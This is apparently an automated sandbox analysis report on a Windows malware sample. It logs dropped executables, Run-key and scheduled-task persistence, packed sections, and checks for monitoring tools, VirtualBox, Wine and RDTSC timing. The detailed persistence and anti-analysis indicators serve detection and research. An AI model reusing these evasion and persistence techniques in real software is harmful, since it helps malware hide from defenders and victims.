Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: rstrtmgr.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.17.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.17.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.17.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.17.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.17.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.17.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1888256 > 1048576

Source: file.exe

Static PE information: Raw size of idnhyhrx is bigger than: 0x100000 < 0x19b600

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.db0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;idnhyhrx:EW;ditjojwi:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;idnhyhrx:EW;ditjojwi:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.580000.0.unpack :EW;.rsrc:W;.idata :W; :EW;idnhyhrx:EW;ditjojwi:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;idnhyhrx:EW;ditjojwi:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 5.2.skotes.exe.580000.0.unpack :EW;.rsrc:W;.idata :W; :EW;idnhyhrx:EW;ditjojwi:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;idnhyhrx:EW;ditjojwi:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Unpacked PE file: 20.2.7d57c960f4.exe.b10000.0.unpack :EW;.rsrc :W;.idata :W; :EW;rdaizazf:EW;hwyhwwjx:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;rdaizazf:EW;hwyhwwjx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Unpacked PE file: 46.2.7d57c960f4.exe.b10000.0.unpack :EW;.rsrc :W;.idata :W; :EW;rdaizazf:EW;hwyhwwjx:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;rdaizazf:EW;hwyhwwjx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Unpacked PE file: 72.2.7d57c960f4.exe.b10000.0.unpack :EW;.rsrc :W;.idata :W; :EW;rdaizazf:EW;hwyhwwjx:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;rdaizazf:EW;hwyhwwjx:EW;.taggant:EW;

Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe

Code function: 6_2_00A642DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

6_2_00A642DE

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 634af23a05.exe.5.dr	Static PE information: real checksum: 0x1cb41e should be: 0x1bd025
Source: file.exe	Static PE information: real checksum: 0x1daebb should be: 0x1d66db
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x1daebb should be: 0x1d66db
Source: random[1].exe0.5.dr	Static PE information: real checksum: 0x1cb41e should be: 0x1bd025
Source: 7d57c960f4.exe.5.dr	Static PE information: real checksum: 0x1cb41e should be: 0x1bd025

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: idnhyhrx
Source: file.exe	Static PE information: section name: ditjojwi
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: idnhyhrx
Source: skotes.exe.0.dr	Static PE information: section name: ditjojwi
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: random[1].exe0.5.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.5.dr	Static PE information: section name: .idata
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: random[1].exe0.5.dr	Static PE information: section name: rdaizazf
Source: random[1].exe0.5.dr	Static PE information: section name: hwyhwwjx
Source: random[1].exe0.5.dr	Static PE information: section name: .taggant
Source: 7d57c960f4.exe.5.dr	Static PE information: section name:
Source: 7d57c960f4.exe.5.dr	Static PE information: section name: .rsrc
Source: 7d57c960f4.exe.5.dr	Static PE information: section name: .idata
Source: 7d57c960f4.exe.5.dr	Static PE information: section name:
Source: 7d57c960f4.exe.5.dr	Static PE information: section name: rdaizazf
Source: 7d57c960f4.exe.5.dr	Static PE information: section name: hwyhwwjx
Source: 7d57c960f4.exe.5.dr	Static PE information: section name: .taggant
Source: 634af23a05.exe.5.dr	Static PE information: section name:
Source: 634af23a05.exe.5.dr	Static PE information: section name: .rsrc
Source: 634af23a05.exe.5.dr	Static PE information: section name: .idata
Source: 634af23a05.exe.5.dr	Static PE information: section name:
Source: 634af23a05.exe.5.dr	Static PE information: section name: rdaizazf
Source: 634af23a05.exe.5.dr	Static PE information: section name: hwyhwwjx
Source: 634af23a05.exe.5.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_0059D91C push ecx; ret		5_2_0059D92F
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00A80A76 push ecx; ret		6_2_00A80A89

Source: file.exe	Static PE information: section name: entropy: 7.981221481975643
Source: file.exe	Static PE information: section name: idnhyhrx entropy: 7.954153539867948
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.981221481975643
Source: skotes.exe.0.dr	Static PE information: section name: idnhyhrx entropy: 7.954153539867948
Source: random[1].exe0.5.dr	Static PE information: section name: rdaizazf entropy: 7.953372032997779
Source: 7d57c960f4.exe.5.dr	Static PE information: section name: rdaizazf entropy: 7.953372032997779
Source: 634af23a05.exe.5.dr	Static PE information: section name: rdaizazf entropy: 7.953372032997779

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1000332001\da8dfab19c.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1000333001\634af23a05.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 634af23a05.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c0968d0b44.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run da8dfab19c.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7d57c960f4.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c0968d0b44.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c0968d0b44.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7d57c960f4.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7d57c960f4.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run da8dfab19c.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run da8dfab19c.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 634af23a05.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 634af23a05.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00A7F98E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		6_2_00A7F98E
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00AF1C41 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		6_2_00AF1C41

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found API chain indicative of sandbox detection

Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe

Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep

graph_6-96503

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1F240 second address: E1F24A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F81E8BCBB66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B385 second address: F9B3C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8FD2F87h 0x00000007 jno 00007F81E8FD2F7Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jo 00007F81E8FD2F7Eh 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 jnc 00007F81E8FD2F76h 0x0000001e pushad 0x0000001f push edi 0x00000020 pop edi 0x00000021 js 00007F81E8FD2F76h 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9A426 second address: F9A430 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F81E8BCBB66h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9A70C second address: F9A728 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8FD2F88h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9A728 second address: F9A739 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 je 00007F81E8BCBB66h 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9A739 second address: F9A756 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F81E8FD2F80h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007F81E8FD2F76h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9A756 second address: F9A75A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9AB37 second address: F9AB3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9AB3B second address: F9AB4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F81E8BCBB66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9AB4A second address: F9AB51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9AB51 second address: F9AB57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9AB57 second address: F9AB72 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F81E8FD2F7Dh 0x0000000d jnc 00007F81E8FD2F76h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9AB72 second address: F9AB78 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C4DF second address: F9C4E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C55D second address: F9C561 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C561 second address: F9C565 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
